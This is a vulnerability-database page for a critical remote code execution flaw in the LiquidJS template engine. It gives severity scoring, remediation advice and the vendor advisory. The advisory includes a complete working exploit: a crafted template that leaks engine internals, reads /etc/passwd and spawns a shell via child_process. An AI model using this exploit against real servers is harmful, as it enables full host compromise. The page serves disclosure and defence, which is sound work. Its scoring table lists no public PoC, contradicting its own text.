Skip to main content

LiquidJS CVE-2026-45618

| EUVDEUVD-2026-56922 CRITICAL
Code Injection (CWE-94)
2026-05-27 https://github.com/harttle/liquidjs GHSA-gf2q-c269-pqgc
10.0
CVSS 3.1 · Vendor: https://github.com/harttle/liquidjs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted Liquid template to render endpoint
  2. Delivery
    Leak engine scope via 1|valueOf filter
  3. Exploit
    Pivot through comparable gadget and __proto__ to parser
  4. Execution
    Obtain Function constructor and execute payload
  5. Impact
    Run OS commands and compromise host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The single concrete prerequisite is that the application passes attacker-controlled content to a LiquidJS parse/render API (e.g. parseAndRender, parse, render) as the template source - the PoC runs against a default new Liquid() instance with no special options, jsTruthy, strictFilters, or sandbox flags required, so no non-default configuration is needed once untrusted template input reaches the engine. The affected version must be earlier than 10.26.0. The key LIMITING factor is the input boundary: if templates are exclusively developer-authored and users can only influence the data context (not the template string), the gadget chain cannot be triggered remotely and the practical risk drops sharply. There is no authentication requirement at the engine level (CVSS PR:N) and no user interaction needed (UI:N); exploitability is therefore governed entirely by whether your deployment renders untrusted templates and is still on a pre-10.26.0 build.

Impact

All exploitability signals point to maximum severity where the precondition is met: the CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H scores 10.0, indicating network reach, low complexity, no privileges, no user interaction, and a scope change with full confidentiality/integrity/availability impact. Publicly available exploit code exists - a complete, copy-paste PoC is embedded in the GHSA advisory - which raises practical risk considerably. However, this is not a blanket 'every deployment is internet-RCE' situation: the CVSS network/no-auth rating assumes the application accepts attacker-controlled template source, and the real determinant of risk is whether untrusted users can supply Liquid templates rather than only developer-authored ones. EPSS exploitation probability was not provided in the input, and there is no CISA KEV listing, so there is no current evidence of active in-the-wild exploitation - the elevated risk comes from POC maturity, not confirmed campaigns. Net assessment: a genuine high-priority issue for any service that renders user-supplied templates, and a lower practical priority for deployments that only render trusted templates, though it should still be patched.

Exploit ScenarioDerived

An application exposes a feature that renders user-supplied Liquid templates - for example a CMS theme editor, an email/notification template builder, or a low-code report generator. An unauthenticated or low-privilege user submits a crafted template (such as the published PoC using 1|valueOf and the comparable gadget) that pivots from the leaked scope object to the Function constructor and executes child_process.execSync, achieving code execution on the server. A complete working proof-of-concept is published in the vendor advisory, so weaponization effort is minimal.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Remote code execution in LiquidJS template engine versions before 10.26.0 lets an attacker who can supply template content escape the rendering context and run arbitrary Node.js code on the host. The valueOf filter leaks the engine's internal scope object (this), exposing the parser, filter registry, and ultimately the JavaScript Function constructor, which is chained into command execution. Rated CVSS 10.0 (CWE-94) with a complete working proof-of-concept published in the vendor advisory; it has publicly available exploit code but is not listed in CISA KEV, and no EPSS score was provided in the source data.

RemediationAI

Upgrade liquidjs to version 10.26.0 or later (Vendor-released patch: 10.26.0), which blocks Object.prototype filter/tag lookups via commit 457fae0 (PR #897); the release is at https://github.com/harttle/liquidjs/releases/tag/v10.26.0 and details are in advisory https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc. If you cannot upgrade immediately, the most effective compensating control is to stop rendering attacker-controlled template source - treat template content as code and only render templates authored by trusted developers, moving any user input into the data/context object passed to render rather than into the template string itself (trade-off: requires refactoring any feature that lets users write Liquid). Where untrusted templates are unavoidable, isolate the rendering process in a hardened, least-privilege sandbox (e.g. a separate worker/container with no child_process access, restricted filesystem, and network egress controls) so that even a successful escape yields minimal capability (trade-off: added operational complexity and latency). Audit and remove use of the valueOf filter and custom comparison-based filters on untrusted input as a stopgap, recognizing this does not fully close the gadget chain and is not a substitute for the patch.

Affected VersionsENISA

liquidjs < 10.26.0

Affected Packages

npm liquidjs fix: 10.26.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LiquidJS (pkg:npm/liquidjs) is a JavaScript/Node.js implementation of the Shopify Liquid templating language used for server-side rendering in CMS, email, and low-code platforms. The root cause is CWE-94 (Improper Control of Generation of Code / code injection): when the built-in valueOf filter is applied to a value (e.g. 1|valueOf), the filter is invoked with this bound to the render scope, so r = 1|valueOf returns a live reference to the engine's internal context. From there the attacker traverses r.context, r.liquid, and r.liquid.parser to reach engine internals. A 'comparable gadget' abuses filters such as group_by/where/first/last, which call comparison functions with an attacker-controlled first argument while this is the scope, and uses assign __proto__ = ... prototype manipulation to control what is fed into parser.parse. This yields a reference to the Function constructor, enabling arbitrary code such as process.getBuiltinModule('child_process').execSync(...). The fix (commit 457fae0, PR #897, 'block Object.prototype filter/tag lookups (RCE)') closes the prototype-based filter/tag lookup path in v10.26.0.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/harttle/liquidjs) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/harttle/liquidjs) · only source for this CVE.

CVSS VectorVendor: https://github.com/harttle/liquidjs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> 1|valueOf -> this when evaluating the filter

</summary>

liquid
{%assign r=1|valueOf%}
{{r|inspect}}
json
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

</details>

<details> <summary> function calls with a controlled first argument via comprable

</summary>

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />

</details>

<details><summary>changing the prototype of things</summary>

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />

</details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

ts
  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{
# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}

{
# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{
# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

_What kind of vulnerability is it? Who is impacted?_ Remote Code Execution.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 14 npm packages depend on liquidjs (7 direct, 7 indirect)

Ecosystem-wide dependent count for version 10.26.0.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy